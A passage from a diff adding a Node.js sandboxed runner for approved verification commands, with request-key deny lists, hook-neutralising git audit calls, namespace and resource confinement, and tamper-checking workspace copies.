'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'selection', 'shell', 'shellcommand', + 'template', 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); +const AUTHORITY_FOLDS = capturedFreeze([ + 'acceptance', 'assignment', 'attention', 'catalog', 'claim', 'evidence', + 'manifest', 'profile', 'profiles', 'provider', 'providercommand', + 'providerreport', 'providers', 'report', 'reported', 'requested', + 'requestedcommand', 'suggestion', 'untrusted', 'worker', +]); +const GIT_AUDIT_COMMANDS = capturedFreeze([ + capturedFreeze(['rev-parse', '--verify', 'HEAD']), + capturedFreeze(['status', '--porcelain=v1', '--untracked-files=all']), + capturedFreeze(['show-ref', '--head']), + capturedFreeze(['config', '--local', '--list']), + capturedFreeze(['worktree', 'list', '--porcelain']), + capturedFreeze(['rev-parse', '--absolute-git-dir']), +]); +export const GIT_CONFIG_OVERRIDES = capturedFreeze([ + '--no-pager', + '-c', 'core.fsmonitor=', + '-c', 'core.fsmonitorHook=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'core.pager=', + '-c', 'core.editor=true', + '-c', 'core.askPass=', + '-c', 'filter.lfs.process=', + '-c', 'filter.lfs.required=false', +]); +export const GIT_CLOSED_ENV = capturedFreeze({ + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + GIT_PAGER: 'cat', + GIT_EDITOR: 'true', + LC_ALL: 'C', +}); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_PROTOTYPE = Object.prototype; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const TIMING_SAFE_EQUAL = timingSafeEqual; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_RELATIVE = path.relative; +const OS_TMPDIR = tmpdir; +const FS_LSTAT = lstat; +const FS_MKDIR = mkdir; +const FS_REALPATH = realpath; +const FS_OPEN_SYNC = fs.openSync; +const FS_CLOSE_SYNC = fs.closeSync; +const FS_FSTAT_SYNC = fs.fstatSync; +const FS_LSTAT_SYNC = fs.lstatSync; +const FS_READ_SYNC = fs.readSync; +const FS_WRITE_SYNC = fs.writeSync; +const FS_FCHMOD_SYNC = fs.fchmodSync; +const FS_MKDIR_SYNC = fs.mkdirSync; +const FS_RMDIR_SYNC = fs.rmdirSync; +const FS_UNLINK_SYNC = fs.unlinkSync; +const FS_RENAME_SYNC = fs.renameSync; +const FS_READDIR_SYNC = fs.readdirSync; +const FS_CONSTANTS = fs.constants; +const PROCESS_KILL = process.kill.bind(process); +const RANDOM_BYTES = randomBytes; +const NODE_SPAWN = nodeSpawn; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const OPEN_NOFOLLOW_READ = FS_CONSTANTS.O_RDONLY | FS_CONSTANTS.O_NOFOLLOW; +const OPEN_NOFOLLOW_DIR = FS_CONSTANTS.O_RDONLY | FS_CONSTANTS.O_DIRECTORY | FS_CONSTANTS.O_NOFOLLOW; +const OPEN_NOFOLLOW_CREATE = FS_CONSTANTS.O_WRONLY | FS_CONSTANTS.O_CREAT | FS_CONSTANTS.O_EXCL + | FS_CONSTANTS.O_NOFOLLOW; + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyRequestKey(key) { + if (key === 'policy' || key === 'intent' || key === 'candidate') return null; + const folded = foldKey(key); + if (folded === 'policy' || folded === 'intent' || folded === 'candidate') return 'unknown_key'; + if (capturedIncludes(AUTHORITY_FOLDS, folded)) return 'authority_denied'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertClosedOwnKeys(value, allowed, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!capturedIncludes(allowed, key)) deny('unknown_key', path); + } +} + +function assertRequestKeys(value, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + const code = classifyRequestKey(key); + if (code !== null) deny(code, path); + } + for (let index = 0; index < REQUEST_REQUIRED_KEYS.length; index += 1) { + const key = REQUEST_REQUIRED_KEYS[index]; + if (!hasOwn(value, key)) deny('missing_key', `${path}.${key}`); + } +} + +function sha256Hex(bytes) { + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + HASH_UPDATE.call(hash, bytes); + return HASH_DIGEST.call(hash, 'hex'); +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return freezeRecord(IDENTITY_RECEIPT_KEYS, { + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +function payloadDigestOf(payload) { + return sha256Hex(BUFFER_FROM(canonicalJsonStringify(payload), 'utf8')); +} + +function equalCanonical(left, right) { + const leftBytes = BUFFER_FROM(left, 'utf8'); + const rightBytes = BUFFER_FROM(right, 'utf8'); + if (leftBytes.length !== rightBytes.length) return false; + return TIMING_SAFE_EQUAL(leftBytes, rightBytes) === true; +} + +function equalDigest(left, right) { + if (typeof left !== 'string' || typeof right !== 'string' || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')) === true; +} + +function closeQuiet(fd) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) return; + try { FS_CLOSE_SYNC(fd); } catch { /* already closed */ } +} + +function procFdPath(fd, name) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) deny('workspace_unreadable', 'workspace'); + if (name === undefined) return `/proc/self/fd/${fd}`; + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..' + || capturedTest(/[/\0]/u, name)) { + deny('workspace_unreadable', 'workspace'); + } + return `/proc/self/fd/${fd}/${name}`; +} + +function openNoFollow(target, flags, path, code) { + let fd; + try { + fd = FS_OPEN_SYNC(target, flags); + } catch (error) { + if (error && error.code === 'ELOOP') deny('symlink_denied', path); + deny(code, path); + } + return fd; +} + +function fstatOrDeny(fd, path, code) { + try { + return FS_FSTAT_SYNC(fd, { bigint: true }); + } catch { + deny(code, path); + } +} + +function hashFdSync(fd) { + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + const buf = BUFFER_ALLOC(65_536); + let pos = 0; + while (true) { + let bytesRead; + try { + bytesRead = FS_READ_SYNC(fd, buf, 0, buf.length, pos); + } catch { + deny('executable_not_runnable', 'request.intent.executable'); + } + if (bytesRead === 0) break; + HASH_UPDATE.call(hash, buf.subarray(0, bytesRead)); + pos += bytesRead; + } + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertPinnedRegularFile(stat, path, code) { + if (stat.isSymbolicLink() || !stat.isFile()) deny(code, path); +} + +function sameIdentity(left, right) { + return left.dev === right.dev && left.ino === right.ino && left.size === right.size; +} + +function resourceLimitsFor(timeoutMs) { + const cpuSeconds = Math.ceil(timeoutMs / 1_000) + 1; + if (!NUMBER_IS_SAFE_INTEGER(cpuSeconds) || cpuSeconds < 1 || cpuSeconds > RESOURCE_CPU_SECONDS_CAP) { + deny('out_of_range', 'request.intent.timeout_ms'); + } + return capturedFreeze({ + cpu_seconds: cpuSeconds, + address_space_bytes: RESOURCE_ADDRESS_SPACE_BYTES, + nproc: RESOURCE_NPROC, + }); +} + +function entryMode(stat) { + return Number(stat.mode & 0o777n); +} + +function isSparseRegular(stat) { + if (!stat.isFile() || stat.size <= 0n) return false; + return stat.blocks === 0n || stat.blocks * 512n < stat.size; +} + +function cloneParameters(parameters) { + const keys = sortedCapturedKeys(parameters); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = parameters[key]; + } + return values; +} + +function selectionFromIntent(intent) { + const selection = { command_id: intent.command_id }; + const parameters = cloneParameters(intent.parameters); + if (sortedCapturedKeys(parameters).length > 0) selection.parameters = parameters; + return selection; +} + +function looksLikeIntentSnapshot(value, path) { + if (value === undefined || value === null || typeof value !== 'object') return false; + if (capturedIsArray(value)) return false; + const keys = ownKeysOrDeny(value, path); + if (keys.length !== RECEIPT_KEYS.length) return false; + for (let index = 0; index < RECEIPT_KEYS.length; index += 1) { + if (!hasOwn(value, RECEIPT_KEYS[index])) return false; + } + return optOwn(value, 'schema') === APPROVED_VERIFICATION_COMMAND_SCHEMA_ID + && optOwn(value, 'version') === APPROVED_VERIFICATION_COMMAND_VERSION; +} + +function consumeGenuineIntent(policyInput, intentInput, path) { + if (!looksLikeIntentSnapshot(intentInput, path)) deny('intent_not_genuine', path); + let resolved; + try { + resolved = resolveApprovedVerificationCommandV1({ + policy: policyInput, + selection: selectionFromIntent(intentInput), + }); + } catch (error) { + if (error && error.name === 'RunContractV1Error' && typeof error.path === 'string' + && STRING_STARTS_WITH(error.path, 'request.policy')) { + throw error; + } + deny('intent_not_genuine', path); + } + if (!equalCanonical(canonicalJsonStringify(resolved), canonicalJsonStringify(intentInput))) { + deny('intent_not_genuine', path); + } + return resolved; +} + +function parseCandidate(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedOwnKeys(input, CANDIDATE_ALLOWED_KEYS, path); + for (let index = 0; index < CANDIDATE_REQUIRED_KEYS.length; index += 1) { + const key = CANDIDATE_REQUIRED_KEYS[index]; + if (!hasOwn(input, key)) deny('missing_key', `${path}.${key}`); + } + const repository = optOwn(input, 'repository'); + assertRepositoryPath(repository, `${path}.repository`); + if (PATH_RESOLVE(repository) !== repository) deny('invalid_format', `${path}.repository`); + let expectedHead; + let expectedBase; + if (hasOwn(input, 'expected_head_sha')) { + expectedHead = optOwn(input, 'expected_head_sha'); + assertBaseSha(expectedHead, `${path}.expected_head_sha`); + } + if (hasOwn(input, 'expected_base_sha')) { + expectedBase = optOwn(input, 'expected_base_sha'); + assertBaseSha(expectedBase, `${path}.expected_base_sha`); + } + return freezeRecord(CANDIDATE_ALLOWED_KEYS, { + repository, + expected_head_sha: expectedHead, + expected_base_sha: expectedBase, + }); +} + +function parseRequest(input, path) { + assertNotProxy(input, path); + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertRequestKeys(input, path); + const policyInput = optOwn(input, 'policy'); + const intentInput = optOwn(input, 'intent'); + assertPlainObject(policyInput, 'invalid_type', `${path}.policy`, `${path}.policy`); + assertPlainObject(intentInput, 'invalid_type', `${path}.intent`, `${path}.intent`); + const intent = consumeGenuineIntent(policyInput, intentInput, `${path}.intent`); + const candidate = parseCandidate(optOwn(input, 'candidate'), `${path}.candidate`); + if (intent.network.mode !== 'deny') deny('network_allowlist_unsupported', `${path}.intent.network`); + return { policyInput, intent, candidate }; +} + +function defaultNowMs() { + return Date.now(); +} + +function defaultRandomId() { + return RANDOM_BYTES(16).toString('hex'); +} + +function defaultTmpRoot() { + const root = PATH_RESOLVE(OS_TMPDIR()); + if (!PATH_IS_ABSOLUTE(root) || root !== PATH_RESOLVE(root)) deny('workspace_unreadable', 'workspace'); + return root; +} + +function defaultKillProcessGroup(pid, signal) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return false; + try { + PROCESS_KILL(-pid, signal); + return true; + } catch { + try { + PROCESS_KILL(pid, signal); + return true; + } catch { + return false; + } + } +} + +async function defaultListDescendants(pid) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) deny('cleanup_uncertain', 'execution'); + let dir; + try { + dir = await readdir('/proc'); + } catch { + deny('cleanup_uncertain', 'execution'); + } + const leftover = []; + for (let index = 0; index < dir.length; index += 1) { + const name = dir[index]; + if (!/^[0-9]+$/u.test(name)) continue; + const other = Number(name); + if (other === pid || !NUMBER_IS_SAFE_INTEGER(other)) continue; + let stat; + try { + stat = await readFile(`/proc/${other}/stat`, 'utf8'); + } catch (error) { + if (error && error.code === 'ENOENT') continue; + deny('cleanup_uncertain', 'execution'); + } + const close = stat.indexOf(')'); + if (close < 0) deny('cleanup_uncertain', 'execution'); + const rest = stat.slice(close + 2).split(' '); + const ppid = Number(rest[1]); + const pgid = Number(rest[2]); + if (ppid === pid || pgid === pid) ARRAY_PUSH.call(leftover, other); + } + return freezeList(leftover); +} + +async function collectChildOutput(child, timeoutMs) { + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + const onOut = (chunk) => { + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + ARRAY_PUSH.call(stdoutChunks, buf); + stdoutBytes += buf.length; + }; + const onErr = (chunk) => { + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + ARRAY_PUSH.call(stderrChunks, buf); + stderrBytes += buf.length; + }; + if (child.stdout && typeof child.stdout.on === 'function') child.stdout.on('data', onOut); + if (child.stderr && typeof child.stderr.on === 'function') child.stderr.on('data', onErr); + let timedOut = false; + const timer = setTimeout(() => { + timedOut = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + }, timeoutMs); + let closePromise = Promise.resolve(); + try { + const exit = await new Promise((resolve, reject) => { + child.once('error', reject); + child.once('exit', (code, signal) => resolve({ code, signal })); + }); + if (child.stdout && typeof child.stdout.end === 'function') { + closePromise = closePromise.then(() => new Promise((resolve) => { + child.stdout.once('end', resolve); + child.stdout.resume?.(); + })); + } + if (child.stderr && typeof child.stderr.end === 'function') { + closePromise = closePromise.then(() => new Promise((resolve) => { + child.stderr.once('end', resolve); + child.stderr.resume?.(); + })); + } + await Promise.race([closePromise, new Promise((resolve) => setTimeout(resolve, 25))]); + if (timedOut) deny('git_identity_unverified', 'candidate'); + if (exit.signal !== null && exit.signal !== undefined) deny('git_identity_unverified', 'candidate'); + if (exit.code !== 0 && exit.code !== 1) deny('git_identity_unverified', 'candidate'); + const stdout = BUFFER_CONCAT(stdoutChunks); + const stderr = BUFFER_CONCAT(stderrChunks); + if (stdout.length > GIT_AUDIT_MAX_BYTES || stderr.length > GIT_AUDIT_MAX_BYTES) { + deny('git_identity_unverified', 'candidate'); + } + return { code: exit.code, stdout, stderr }; + } finally { + clearTimeout(timer); + } +} + +async function defaultReadGitIdentity(repository) { + const gitFd = openNoFollow(GIT_EXECUTABLE, OPEN_NOFOLLOW_READ, 'candidate', 'git_unavailable'); + try { + const gitStat = fstatOrDeny(gitFd, 'candidate', 'git_unavailable'); + assertPinnedRegularFile(gitStat, 'candidate', 'git_unavailable'); + const outputs = {}; + const names = ['head', 'status', 'refs', 'config', 'worktrees', 'gitdir']; + for (let index = 0; index < GIT_AUDIT_COMMANDS.length; index += 1) { + const args = []; + for (let overrideIndex = 0; overrideIndex < GIT_CONFIG_OVERRIDES.length; overrideIndex += 1) { + ARRAY_PUSH.call(args, GIT_CONFIG_OVERRIDES[overrideIndex]); + } + ARRAY_PUSH.call(args, '-C'); + ARRAY_PUSH.call(args, repository); + ARRAY_PUSH.call(args, '--no-optional-locks'); + const command = GIT_AUDIT_COMMANDS[index]; + for (let argIndex = 0; argIndex < command.length; argIndex += 1) { + ARRAY_PUSH.call(args, command[argIndex]); + } + let child; + try { + child = NODE_SPAWN('/proc/self/fd/3', args, { + cwd: '/', + env: { ...GIT_CLOSED_ENV }, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', gitFd], + windowsHide: true, + }); + } catch { + deny('git_identity_unverified', 'candidate'); + } + const result = await collectChildOutput(child, GIT_AUDIT_TIMEOUT_MS); + if (names[index] === 'head' && result.code !== 0) deny('git_identity_unverified', 'candidate'); + outputs[names[index]] = result.stdout.toString('utf8'); + } + const head = STRING_REPLACE(outputs.head, /\s+/gu, ''); + assertBaseSha(head, 'candidate.head_sha'); + return freezeRecord(capturedFreeze([ + 'config', 'gitdir', 'head_sha', 'refs', 'status', 'worktrees', + ]), { + head_sha: head, + status: outputs.status, + refs: outputs.refs, + config: outputs.config, + worktrees: outputs.worktrees, + gitdir: STRING_REPLACE(outputs.gitdir, /\s+$/gu, ''), + }); + } finally { + closeQuiet(gitFd); + } +} + +function defaultSpawn(file, args, options) { + if (options.shell !== false) deny('shell_content_denied', 'execution'); + if (options.networkMode !== 'deny') deny('network_allowlist_unsupported', 'execution.network'); + const execFd = options.executableFd; + const workspaceFd = options.workspaceFd; + const limits = options.resourceLimits; + if (!NUMBER_IS_SAFE_INTEGER(execFd) || execFd < 0) deny('executable_not_runnable', 'execution'); + if (!NUMBER_IS_SAFE_INTEGER(workspaceFd) || workspaceFd < 0) deny('workspace_unreadable', 'workspace'); + if (limits === undefined || !NUMBER_IS_SAFE_INTEGER(limits.cpu_seconds) + || !NUMBER_IS_SAFE_INTEGER(limits.address_space_bytes) + || !NUMBER_IS_SAFE_INTEGER(limits.nproc)) { + deny('resource_bound_unavailable', 'execution'); + } + const unshareFd = openNoFollow( + UNSHARE_EXECUTABLE, OPEN_NOFOLLOW_READ, 'execution', 'network_isolation_unavailable', + ); + const prlimitFd = openNoFollow( + PRLIMIT_EXECUTABLE, OPEN_NOFOLLOW_READ, 'execution', 'resource_bound_unavailable', + ); + try { + assertPinnedRegularFile( + fstatOrDeny(unshareFd, 'execution', 'network_isolation_unavailable'), + 'execution', 'network_isolation_unavailable', + ); + assertPinnedRegularFile( + fstatOrDeny(prlimitFd, 'execution', 'resource_bound_unavailable'), + 'execution', 'resource_bound_unavailable', + ); + const confinementArgs = [ + '--user', '--pid', '--fork', '--net', '--', + '/proc/self/fd/6', + `--cpu=${limits.cpu_seconds}`, + `--as=${limits.address_space_bytes}`, + `--nproc=${limits.nproc}`, + '--', + '/proc/self/fd/3', + ]; + for (let index = 0; index < args.length; index += 1) { + ARRAY_PUSH.call(confinementArgs, args[index]); + } + return NODE_SPAWN('/proc/self/fd/5', confinementArgs, { + cwd: '/proc/self/fd/4', + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', execFd, workspaceFd, unshareFd, prlimitFd], + windowsHide: true, + detached: false, + }); + } finally { + closeQuiet(unshareFd); + closeQuiet(prlimitFd); + } +} + +async function defaultAfterQuarantinePin() {} + +async function defaultRmdirExact() { + deny('cleanup_uncertain', 'cleanup'); +} + +function defaultAdapter() { + return { + nowMs: defaultNowMs, + randomId: defaultRandomId, + tmpRoot: defaultTmpRoot, + lstat: (target, options) => FS_LSTAT(target, options ?? { bigint: true }), + mkdir: (target, options) => FS_MKDIR(target, options), + realpath: (target) => FS_REALPATH(target), + afterQuarantinePin: defaultAfterQuarantinePin, + rmdirExact: defaultRmdirExact, + spawn: defaultSpawn, + killProcessGroup: defaultKillProcessGroup, + listDescendants: defaultListDescendants, + readGitIdentity: defaultReadGitIdentity, + }; +} + +function resolveAdapter(options, path) { + if (options === undefined) return defaultAdapter(); + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertClosedOwnKeys(options, OPTION_ALLOWED_KEYS, path); + if (!hasOwn(options, 'adapter')) return defaultAdapter(); + const adapter = optOwn(options, 'adapter'); + assertNotProxy(adapter, `${path}.adapter`); + if (adapter === null || typeof adapter !== 'object' || capturedIsArray(adapter)) { + deny('invalid_type', `${path}.adapter`); + } + let prototype; + try { + prototype = Object.getPrototypeOf(adapter); + } catch { + deny('exotic_prototype_denied', `${path}.adapter`); + } + if (prototype !== OBJECT_PROTOTYPE && prototype !== null) { + deny('exotic_prototype_denied', `${path}.adapter`); + } + assertClosedOwnKeys(adapter, ADAPTER_ALLOWED_KEYS, `${path}.adapter`); + const resolved = defaultAdapter(); + const keys = sortedCapturedKeys(adapter); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + const value = optOwn(adapter, key); + if (typeof value !== 'function') deny('invalid_type', `${path}.adapter.${key}`); + resolved[key] = value; + } + return resolved; +} + +function isPathInside(parent, child) { + if (parent === child) return true; + const relative = PATH_RELATIVE(parent, child); + return relative !== '' && !STRING_STARTS_WITH(relative, '..') && !PATH_IS_ABSOLUTE(relative); +} + +function encodeFsEntry(entry) { + return freezeRecord(capturedFreeze([ + 'dev', 'ino', 'mode', 'nlink', 'size', 'mtime_ns', 'ctime_ns', 'kind', + ]), { + dev: STRING(entry.dev), + ino: STRING(entry.ino), + mode: STRING(entry.mode), + nlink: STRING(entry.nlink), + size: STRING(entry.size), + mtime_ns: STRING(entry.mtimeNs), + ctime_ns: STRING(entry.ctimeNs), + kind: entry.isSymbolicLink() ? 'symlink' + : entry.isFile() ? 'file' + : entry.isDirectory() ? 'directory' + : 'special', + }); +} + +async function lstatOrDeny(adapter, target, path, code) { + let entry; + try { + entry = await adapter.lstat(target, { bigint: true }); + } catch { + deny(code, path); + } + return entry; +} + +async function assertExecutableSafe(adapter, executable) { + const entry = await lstatOrDeny(adapter, executable, 'request.intent.executable', 'executable_not_runnable'); + if (entry.isSymbolicLink()) deny('symlink_denied', 'request.intent.executable'); + if (!entry.isFile()) deny('special_file_denied', 'request.intent.executable'); + const mode = typeof entry.mode === 'bigint' ? Number(entry.mode & 0o111n) : entry.mode & 0o111; + if (mode === 0) deny('executable_not_runnable', 'request.intent.executable'); +} + +async function assertCandidateSafe(adapter, candidate) { + const entry = await lstatOrDeny( + adapter, candidate.repository, 'request.candidate.repository', 'candidate_unreadable', + ); + if (entry.isSymbolicLink()) deny('symlink_denied', 'request.candidate.repository'); + if (!entry.isDirectory()) deny('candidate_not_regular', 'request.candidate.repository'); + const gitPath = PATH_JOIN(candidate.repository, '.git'); + const gitEntry = await lstatOrDeny(adapter, gitPath, 'request.candidate.repository', 'candidate_unreadable'); + if (gitEntry.isSymbolicLink()) deny('symlink_denied', 'request.candidate.repository'); + if (!gitEntry.isDirectory() && !gitEntry.isFile()) { + deny('candidate_not_regular', 'request.candidate.repository'); + } + return { root: encodeFsEntry(entry), git: encodeFsEntry(gitEntry) }; +} + +async function snapshotCandidate(adapter, candidate, filesystem, pinExpectations) { + const git = await adapter.readGitIdentity(candidate.repository); + if (pinExpectations === true && candidate.expected_head_sha !== undefined + && !equalDigest(candidate.expected_head_sha, git.head_sha)) { + deny('candidate_identity_mismatch', 'request.candidate.expected_head_sha'); + } + const baseSha = candidate.expected_base_sha ?? git.head_sha; + if (pinExpectations === true && candidate.expected_base_sha !== undefined) { + assertBaseSha(baseSha, 'request.candidate.expected_base_sha'); + } + return freezeRecord(capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'gitdir', 'head_sha', + 'refs_digest', 'status_digest', 'worktrees_digest', + ]), { + head_sha: git.head_sha, + base_sha: baseSha, + status_digest: sha256Hex(BUFFER_FROM(git.status, 'utf8')), + refs_digest: sha256Hex(BUFFER_FROM(git.refs, 'utf8')), + config_digest: sha256Hex(BUFFER_FROM(git.config, 'utf8')), + worktrees_digest: sha256Hex(BUFFER_FROM(git.worktrees, 'utf8')), + filesystem_digest: sha256Hex(BUFFER_FROM(canonicalJsonStringify(filesystem), 'utf8')), + gitdir: git.gitdir, + }); +} + +function assertUnchanged(before, after) { + const fields = [ + 'head_sha', 'base_sha', 'status_digest', 'refs_digest', 'config_digest', + 'worktrees_digest', 'filesystem_digest', 'gitdir', + ]; + for (let index = 0; index < fields.length; index += 1) { + const field = fields[index]; + if (!equalDigest(STRING(before[field]), STRING(after[field]))) { + deny(field === 'filesystem_digest' || field === 'head_sha' ? 'candidate_mutated' : 'candidate_race', + 'candidate'); + } + } +} + +function buildChildEnvironment(environment) { + const env = {}; + const entries = environment.entries; + for (let index = 0; index < entries.length; index += 1) { + const entry = entries[index]; + const name = entry.name; + if (capturedIncludes(DENIED_ENV_NAMES, name) || name === 'PATH') { + deny('env_name_denied', 'request.intent.environment'); + } + env[name] = entry.value; + } + return env; +} + +function copyRegularFile(srcFd, destDirFd, name, mode, size) { + const destFd = openNoFollow( + procFdPath(destDirFd, name), OPEN_NOFOLLOW_CREATE, 'workspace', 'workspace_unreadable', + ); + try { + const buf = BUFFER_ALLOC(65_536); + let pos = 0; + while (pos < size) { + let bytesRead; + try { + bytesRead = FS_READ_SYNC(srcFd, buf, 0, Math.min(buf.length, size - pos), pos); + } catch { + deny('candidate_race', 'workspace'); + } + if (bytesRead === 0) deny('candidate_race', 'workspace'); + let written = 0; + while (written < bytesRead) { + let n; + try { + n = FS_WRITE_SYNC(destFd, buf, written, bytesRead - written, pos + written); + } catch { + deny('workspace_unreadable', 'workspace'); + } + written += n; + } + pos += bytesRead; + } + try { + FS_FCHMOD_SYNC(destFd, mode); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const destStat = fstatOrDeny(destFd, 'workspace', 'workspace_unreadable'); + if (destStat.size !== BigInt(size) || destStat.isSymbolicLink() || !destStat.isFile()) { + deny('candidate_race', 'workspace'); + } + } finally { + closeQuiet(destFd); + } +} + +function compareCopyPath(left, right) { + if (left.path < right.path) return -1; + if (left.path > right.path) return 1; + return 0; +} + +function digestCopyIdentity(identity) { + identity.sort(compareCopyPath); + return sha256Hex(BUFFER_FROM(canonicalJsonStringify(identity), 'utf8')); +} + +function copyDirectoryTree(srcFd, destFd, relative, depth, limits, identity) { + if (depth > COPY_MAX_DEPTH) deny('out_of_range', 'workspace'); + let names; + try { + names = FS_READDIR_SYNC(procFdPath(srcFd), { encoding: 'buffer' }); + } catch { + deny('candidate_unreadable', 'request.candidate.repository'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('candidate_unreadable', 'request.candidate.repository'); + } + limits.entries += 1; + if (limits.entries > COPY_MAX_ENTRIES) deny('out_of_range', 'workspace'); + const srcChild = procFdPath(srcFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(srcChild, { bigint: true }); + } catch { + deny('candidate_unreadable', 'request.candidate.repository'); + } + const rel = relative === '' ? name : `${relative}/${name}`; + if (stat.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (stat.isDirectory()) { + const mode = entryMode(stat); + try { + FS_MKDIR_SYNC(procFdPath(destFd, name), { mode, recursive: false }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const childSrc = openNoFollow(srcChild, OPEN_NOFOLLOW_DIR, 'workspace', 'candidate_unreadable'); + const childDest = openNoFollow( + procFdPath(destFd, name), OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable', + ); + try { + ARRAY_PUSH.call(identity, capturedFreeze({ kind: 'directory', mode: STRING(mode), path: rel })); + copyDirectoryTree(childSrc, childDest, rel, depth + 1, limits, identity); + } finally { + closeQuiet(childSrc); + closeQuiet(childDest); + } + continue; + } + if (!stat.isFile() || stat.isBlockDevice() || stat.isCharacterDevice() + || stat.isFIFO() || stat.isSocket() || isSparseRegular(stat)) { + deny('special_file_denied', 'workspace'); + } + if (stat.size > 